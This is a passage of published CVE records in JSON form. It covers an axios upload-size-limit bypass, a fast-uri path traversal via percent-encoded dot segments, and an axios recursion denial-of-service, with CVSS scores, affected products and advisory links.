"datePublished": "2026-04-23T14:47:56.129Z",
"dateReserved": "2026-04-18T03:47:03.135Z",
"dateUpdated": "2026-04-25T01:21:43.094Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42034 (GCVE-0-2026-42034)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:59 – Updated: 2026-04-24 18:13- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42034",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T18:12:43.106146Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:13:14.474Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, for stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:59:47.802Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx"
}
],
"source": {
"advisory": "GHSA-5c9x-8gcm-mpgx",
"discovery": "UNKNOWN"
},
"title": "Axios: HTTP adapter streamed uploads bypass maxBodyLength when maxRedirects: 0"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42034",
"datePublished": "2026-04-24T17:59:47.802Z",
"dateReserved": "2026-04-23T16:05:01.708Z",
"dateUpdated": "2026-04-24T18:13:14.474Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-6321 (GCVE-0-2026-6321)
Vulnerability from cvelistv5 – Published: 2026-05-04 19:31 – Updated: 2026-07-02 12:05- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-6321",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-05T12:44:27.336265Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-05T12:44:34.743Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.12::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.12.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4.19::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4.19",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:confidential_compute_attestation:1"
],
"defaultStatus": "affected",
"product": "Confidential Compute Attestation",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-04T19:31:57.253Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by providing a specially crafted Uniform Resource Locator (URL) containing percent-encoded path separators and dot segments. Due to incorrect processing, fast-uri would decode these elements before proper normalization, leading to distinct URLs resolving to the same internal path. This could allow an attacker to bypass security policies that rely on path-based comparisons, potentially gaining unauthorized access to resources."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:21.114Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-6321"
},
{
"name": "RHBZ#2466582",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466582"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6321.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25089"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24473"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24766"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20338"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24977"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26416"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26420"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19238"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:24473: Network Observability (NETOBSERV) 1.12.0"
},
{
"lang": "en",
"value": "RHSA-2026:24766: Red Hat Ansible Automation Platform 2.5"
},
{
"lang": "en",
"value": "RHSA-2026:24866: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:20338: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:26416: Red Hat Openshift Data Foundation 4.16"
},
{
"lang": "en",
"value": "RHSA-2026:26420: Red Hat Openshift Data Foundation 4.18"
},
{
"lang": "en",
"value": "RHSA-2026:19238: Red Hat Openshift Data Foundation 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-04T20:01:14.938Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-04T19:31:57.253Z",
"value": "Made public."
}
],
"title": "fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/fast-uri",
"product": "fast-uri",
"vendor": "fast-uri",
"versions": [
{
"lessThan": "3.1.1",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.1.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Jvr"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Matteo Collina"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ulises Gasc\u00f3n"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "KaKa"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "fast-uri decoded percent-encoded path separators and dot segments before applying dot-segment removal in its normalize() and equal() functions. Encoded path data was treated like real slashes and parent-directory references, so distinct URIs could collapse onto the same normalized path. Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed, with a path that appears confined under an allowed prefix normalizing to a different location. Versions \u003c= 3.1.0 are affected. Update to 3.1.1 or later."
}
],
"value": "fast-uri decoded percent-encoded path separators and dot segments before applying dot-segment removal in its normalize() and equal() functions. Encoded path data was treated like real slashes and parent-directory references, so distinct URIs could collapse onto the same normalized path. Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed, with a path that appears confined under an allowed prefix normalizing to a different location. Versions \u003c= 3.1.0 are affected. Update to 3.1.1 or later."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-04T19:31:57.253Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6"
},
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "fast-uri vulnerable to path traversal via percent-encoded dot segments",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-6321",
"datePublished": "2026-05-04T19:31:57.253Z",
"dateReserved": "2026-04-14T20:23:01.545Z",
"dateUpdated": "2026-07-02T12:05:21.114Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42039 (GCVE-0-2026-42039)
Vulnerability from cvelistv5 – Published: 2026-04-24 18:01 – Updated: 2026-07-01 12:04- CWE-674 - Uncontrolled Recursion
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42039",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T18:14:11.509943Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:14:37.802Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.12::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.12.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.10::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.11::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.6::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.8::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine:2.9::el9"
],
"defaultStatus": "affected",
"product": "multicluster engine for Kubernetes 2.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:migration_toolkit_applications:8"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Applications 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "affected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:container_native_virtualization:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Virtualization 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_profile_analyzer:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Profile Analyzer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-04-24T18:01:30.775Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-01T12:04:57.748Z",
